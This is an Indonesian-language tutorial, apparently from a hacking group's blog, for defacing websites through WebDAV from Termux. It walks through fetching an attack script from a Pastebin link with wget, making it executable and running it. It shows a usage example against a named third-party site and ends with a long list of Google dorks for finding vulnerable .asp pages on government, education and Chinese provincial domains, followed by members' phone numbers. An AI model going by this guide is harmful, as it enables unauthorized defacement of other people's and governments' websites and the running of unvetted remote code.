Cara Deface POC WEBDAV Di Termux

Assalamualaikum Wr Wb.

Apa kabar para mastah skalian :'v 

Disini saya akan membagikan tutor bagaimana cara Deface dengan teknik Webdav. Webdav adalah tools yang dikembangkan oleh anak bangsa dengan menggunakan nick Hmei7, entah kenapa dia menggunakan nick tersebut :v saya juga tidak mengetahui apa alasan nya menggunakan nick tersebut, bagi yang merasa penasaran silahkan klian tanyakan sendiri ea ........

Gak perlu banyak cing-cong langsung saja mulai dari penyediaan bahan-bahan nya yaitu :

1. Termux (bisa didownload di PS)

2. Script Deface Kalian (bikin sendiri napa :v)

3. Jaringan Internet Yang JOSSS.... :V

4 .Rokok Biar Mantep :V

Ok langsung saja kita mulai.....

1. Pertama buka termux kalian 

Lalu jalankan beberapa perintah agar Webdav terinstall

$ apt update && apt upgrade

$ apt install python2

$ pip2 install urllib3 chardet certifi idna requests

$ apt install openssl curl

$ pkg install libcurl

$ mkdir webdav

$ cd webdav

$ wget https://pastebin.com/raw/HnVyQPtR

$ mv HnVyQPtR webdav.py

$ chmod 777 webdav.py

$ python2 webdav.py

jika sudah terinstall maka tampilan nya akan seperti ini :V

Silahkan buat script deface kalian sendiri :v kalau gak bisa bikin yaa ambil di google aja, banyak kok heheh.....

Pindahkan script deface kalian di penyimpanan folder webdav dengan root explorer di “/data/data/com.termux/files/home/webdav” ( tanpa tanda petik cuk )

Jika script sudah dibuat, lanjut dengan cara pemakaian nya yaitu :

$ python2 webdav.py (target cuk) (namascriptlu.html)

CONTOH

$ python2 webdav.py http://hq.prospec.co.th/ hvkv.html

Jika berhasil maka tampilan web tersebut akan seperti ini

Note : Jika error, kemungkinan besar web tersebut tidak vuln :'v silahkan ganti target nya. 

Dork :

inurl:.gov.*/*.asp
inurl:*.gov/*.asp
inurl:.org/*.asp
inurl:.ag/*.asp
inurl:.it/*.asp
inurl:.uk/*.asp
inurl:.co.il/*.asp
inurl:.com/*.asp
inurl:.co.id/*.asp
inurl:.ah.cn/*.asp
inurl:.bj.cn/*.asp
inurl:.cq.cn/*.asp
inurl:.fj.cn/*.asp
inurl:.gd.cn/*.asp
inurl:.gs.cn/*.asp
inurl:.gz.cn/*.asp
inurl:.gx.cn/*.asp
inurl:.ha.cn/*.asp
inurl:.hb.cn/*.asp
inurl:.he.cn/*.asp
inurl:.hi.cn/*.asp
inurl:.hl.cn/*.asp
inurl:.hn.cn/*.asp
inurl:.jl.cn/*.asp
inurl:.js.cn/*.asp
inurl:.jx.cn/*.asp
inurl:.ln.cn/*.asp
inurl:.nm.cn/*.asp
inurl:.nx.cn/*.asp
inurl:.qh.cn/*.asp
inurl:.sc.cn/*.asp
inurl:.sd.cn/*.asp
inurl:.sh.cn/*.asp
inurl:.sn.cn/*.asp
inurl:.sx.cn/*.asp
inurl:.tj.cn/*.asp
inurl:.tw.cn/*.asp
inurl:.xj.cn/*.asp
inurl:.xz.cn/*.asp
inurl:.yn.cn/*.asp
inurl:.zj.cn/*.asp
inurl:.ac.cn/*.asp
inurl:.com.cn/*.asp
inurl:.edu.cn/*.asp
inurl:.gov.cn/*.asp
inurl:.net.cn/*.asp
inurl:.org.cn/*.asp

Silahkan kembangkan lagi dork nya dan semoga bermanfaat :V

Sekian tutor dari saya apabila ada kesalahan saya mohon maaf :)

Tag
#AttackOfCyber
#Webdav
#Termux

Jika ada pertanyaan silahkan hubungi kami

Contact admin :
root@M3e.X~# : +1 (518) 299-8105
Baba yaga : +62 852-9018-6702
Mr.Vince : +62 0895-3968-43672
Mr./4LUL +62 822-5880-4867
Marchia : +62 819-5967-8824
Mr.P27 : +62 858-0037-2323

Wassalamualaikum....